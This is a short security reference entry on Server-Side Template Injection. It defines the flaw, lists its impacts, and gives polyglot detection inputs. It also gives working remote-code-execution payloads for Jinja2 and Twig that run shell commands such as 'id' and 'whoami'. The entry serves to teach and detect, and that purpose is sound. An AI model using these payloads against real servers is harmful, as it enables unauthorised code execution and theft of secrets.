SSTI
CriticalServer-Side Template Injection
Definition
Server-Side Template Injection (SSTI) occurs when user input is inserted directly into a server-side template (Jinja2, Twig, Freemarker, etc.) without sanitization. The attacker can inject template-engine expressions to execute arbitrary code on the server.
Impact
Remote code execution (RCE) on the serverReading system filesAccess to environment variables and secretsFull server compromiseLateral movement across the internal network
Examples
SSTI detection with a polyglot
First, detect whether SSTI exists using simple math expressions. If the server returns the computed result (49), proceed to identify the template engine and use engine-specific payloads to achieve code execution.
# Detection payload (works across multiple engines)
{{7*7}}
${7*7}
<%= 7*7 %>
# If the response shows "49", the template engine is processing the input
# Jinja2 (Python) - RCE
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
# Twig (PHP) - RCE
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}